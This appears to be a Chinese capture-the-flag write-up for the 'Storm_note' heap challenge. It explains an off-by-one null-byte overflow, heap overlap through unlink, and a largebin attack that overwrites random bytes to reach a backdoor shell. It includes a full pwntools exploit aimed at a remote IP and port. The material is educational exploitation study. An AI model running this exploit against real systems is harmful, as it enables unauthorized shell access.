0x00 程序分析 1 2 3 4 5 Arch: amd64-64 -littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
程序留了一个后门函数
1 2 3 4 5 6 7 8 9 10 11 12 void __noreturn backdoor () { char buf; unsigned __int64 v1; v1 = __readfsqword(0x28 u); puts ("If you can open the lock, I will let you in" ); read(0 , &buf, 0x30 uLL); if ( !memcmp (&buf, (const void *)0xABCD0100 LL, 0x30 uLL) ) system("/bin/sh" ); exit (0 ); }
通过输入0xabcd0100内存中的数据,可以直接获得shell
而该内存区域的数据由随机数生成,大小为0x30
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ssize_t init_proc(){ ssize_t result; int fd; setbuf(stdin , 0L L); setbuf(stdout , 0L L); setbuf(stderr , 0L L); if ( !mallopt(1 , 0 ) ) exit (-1 ); if ( mmap((void *)0xABCD0000 LL, 0x1000 uLL, 3 , 34 , -1 , 0L L) != (void *)2882338816L L ) exit (-1 ); fd = open("/dev/urandom" , 0 ); if ( fd < 0 ) exit (-1 ); result = read(fd, (void *)0xABCD0100 LL, 0x30 uLL); if ( result != 48 ) exit (-1 ); return result; }
而且mallopt(1, 0)
禁用了fastbin。
int mallopt(int param,int value) param的取值分别为M_MXFAST,value是以字节为单位。 M_MXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。题目中将M_MXFAST设置为0,禁止使用fastbins。
通过分析程序,整个程序就一个offbyone漏洞,可以多溢出一个\x00。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned __int64 edit_note () { int v1; int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); puts ("Index ?" ); _isoc99_scanf("%d" , &v1); if ( v1 >= 0 && v1 <= 15 && note[v1] ) { puts ("Content: " ); v2 = read(0 , note[v1], note_size[v1]); *((_BYTE *)note[v1] + v2) = 0 ; puts ("Done" ); } else { puts ("Invalid index" ); } return __readfsqword(0x28 u) ^ v3; }
0x01 利用思路 1 堆重叠 因为程序存在offbyone,所以可以将下一个chunk的P标志位覆盖为0,接着触发unlink,利用glibc的边界标记法,实现堆重叠。堆重叠的效果就是两个chunk的内存区域重叠,因为程序不存在UAF,所以可以利用堆重叠,通过未被释放的chunk对已经被释放的内存区域写数据。写的内容可以为unsortedbin chunk的fd、bk指针,largebin chunk的fd、bk、fd_next、bk_next指针。
1 构造堆重叠 1 2 3 4 5 6 7 8 9 add(0x28 ) add(0x528 ) add(0xf8 ) add(0x28 ) add(0x28 ) add(0x518 ) add(0xf8 ) add(0x28 )
首先创建了8个chunk,分别构造两个堆重叠
1 2 3 4 delete(0 ) payload = 'a' *0x520 + p64(0x560 ) edit(1 ,payload) delete(2 )
向chunk1中写数据,将chunk2的prev_size域写为0x560
,因为在被使用的chunk中,prev_size域可以存储前一个chunk的data的。原本chunk2的size域为0x101
,因为一个字节的溢出,被修改为了0x100
,当我们释放chunk2时,因为chunk2的P标志位为0,所以glibc认为前一个chunk为free状态,触发向后合并,根据glibc的边界标记法,通过chunk2的prev_size域寻找上一个chunk的地址,因为prev_size被我们覆盖成了0x560
,所以触发了unlink(chunk0),最后得到了一个大小为 chunk0 + chunk1 + chunk2 (0x660) 的unsortedbin chunk。
此时我们再次申请堆内存,就可以实现chunk2和chunk1的堆内存区域重叠,这样当我们释放chunk2后,就可以通过chunk1修改chunk2的内容。
同样的我们再次执行上述操作,实现通过chunk5,修改chunk6的内存区域。
2 largebin attack 首先通过堆的分配机制,将chunk2变成unsortedbin chunk,将chunk6变成largebin chunk。
1 2 edit(5 ,p64(0 )+p64(0x611 )+p64(0 )+p64(0xABCD0100 -0x20 +8 )+p64(0 )+p64(0xABCD0100 -0x38 -5 )) edit(1 ,p64(0 )+p64(0x621 )+p64(0 )+p64(0xABCD0100 -0x20 ))
我们首先通过chunk1和chunk5,将unsortedbin chunk和largebin chunk构造成如下形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 +-----------------+ | 0 | #unsortedbin chunk (freed chunk2) +-----------------+ | 0x621 | +-----------------+ | 0 | # fd +-----------------+ | 0xabcd0100-0x20 | # bk +-----------------+ +-------------------+ | 0 | #largebin chunk (freed chunk6) +-------------------+ | 0x611 | +-------------------+ | 0 | # fd +-------------------+ | 0xabcd0100-0x20+8 | # bk +-------------------+ | 0 | # fd_next +-------------------+ | 0xabcd0100-0x38+5 | # bk_ next+-------------------+
当申请堆内存时,如果申请流程走到unsortedbin,glibc会把unsortedbin中的chunk按其大小分配到smallbins和largebins。当我们申请堆add(0x48)
时,unsortedbin的chunk大小为0x621,不符合,就会将当前unsortedbin的chunk按大小分配到largebins,分配过程有如下指针操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
指针操作会将0xabcd0100-0x18处修改为0x56,即把0xabcd0100-0x20构造成一个fakechunk。插入到largebin后,glibc根据unsortedbin chunk的bk指针,找到0xabcd0100-0x20,发现其大小为0x56,且ISMMAP位为1,就将其分配出去,于是就获得了包含0xabcd0100的fakechunk。就可以覆盖掉原来的随机数。
3 触发后门函数,getshell 0x02 EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *REMOTE = 1 if REMOTE: p = remote('61.164.47.198' ,10004 ) else : p = process('./Storm_note' ) DEBUG = 0 VERBOSE = 1 if DEBUG: gdb.attach(p) if VERBOSE: context.log_level = 'debug' def q () : gdb.attach(p) raw_input('test' ) def add (size) : p.recvuntil('Choice' ) p.sendline('1' ) p.recvuntil('?' ) p.sendline(str(size)) def edit (idx,mes) : p.recvuntil('Choice' ) p.sendline('2' ) p.recvuntil('?' ) p.sendline(str(idx)) p.recvuntil('Content' ) p.send(mes) def delete (idx) : p.recvuntil('Choice' ) p.sendline('3' ) p.recvuntil('?' ) p.sendline(str(idx)) def pwn () : add(0x28 ) add(0x528 ) add(0xf8 ) add(0x28 ) add(0x28 ) add(0x518 ) add(0xf8 ) add(0x28 ) delete(0 ) payload = 'a' *0x520 + p64(0x560 ) edit(1 ,payload) delete(2 ) add(0x38 ) add(0x610 ) delete(4 ) payload = 'a' *0x510 + p64(0x550 ) edit(5 ,payload) delete(6 ) add(0x38 ) add(0x600 ) delete(6 ) delete(2 ) add(0x610 ) delete(2 ) edit(5 ,p64(0 )+p64(0x611 )+p64(0 )+p64(0xABCD0100 -0x20 +8 )+p64(0 )+p64(0xABCD0100 -0x38 -5 )) edit(1 ,p64(0 )+p64(0x621 )+p64(0 )+p64(0xABCD0100 -0x20 )) add(0x48 ) edit(2 ,p64(0 )*2 +'A' *0x30 ) p.sendlineafter('Choice: ' ,'666' ) p.sendlineafter('If you can open the lock, I will let you in' ,'A' *0x30 ) p.interactive() if __name__ == '__main__' : pwn()
0x03 利用分析 2 largebin attack 首先通过堆的分配机制,将chunk2变成unsortedbin chunk,将chunk6变成largebin chunk。
1 2 edit(5 ,p64(0 )+p64(0x611 )+p64(0 )+p64(0xABCD0100 -0x20 +8 )+p64(0 )+p64(0xABCD0100 -0x38 -5 )) edit(1 ,p64(0 )+p64(0x621 )+p64(0 )+p64(0xABCD0100 -0x20 ))
我们首先通过chunk1和chunk5,将unsortedbin chunk和largebin chunk构造成如下形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 +-----------------+ | 0 | #unsortedbin chunk (freed chunk2) +-----------------+ | 0x621 | +-----------------+ | 0 | # fd +-----------------+ | 0xabcd0100-0x20 | # bk +-----------------+ +-------------------+ | 0 | #largebin chunk (freed chunk6) +-------------------+ | 0x611 | +-------------------+ | 0 | # fd +-------------------+ | 0xabcd0100-0x20+8 | # bk +-------------------+ | 0 | # fd_next +-------------------+ | 0xabcd0100-0x38+5 | # bk_ next+-------------------+
当我们申请堆add(0x48)
时,unsortedbin的chunk大小为0x621,不符合,就会将当前unsortedbin的chunk按大小分配到largebin,通过分配过程中的指针操作,会将0xabcd0100-0x18处修改为0x56,即把0xabcd0100-0x20构造成一个fakechunk。插入到largebin后,glibc根据unsortedbin chunk的bk指针,找到0xabcd0100-0x20,发现其大小为0x56,且ISMMAP位为1,就将其分配出去,于是就获得了包含0xabcd0100的fakechunk。就可以覆盖其内存了。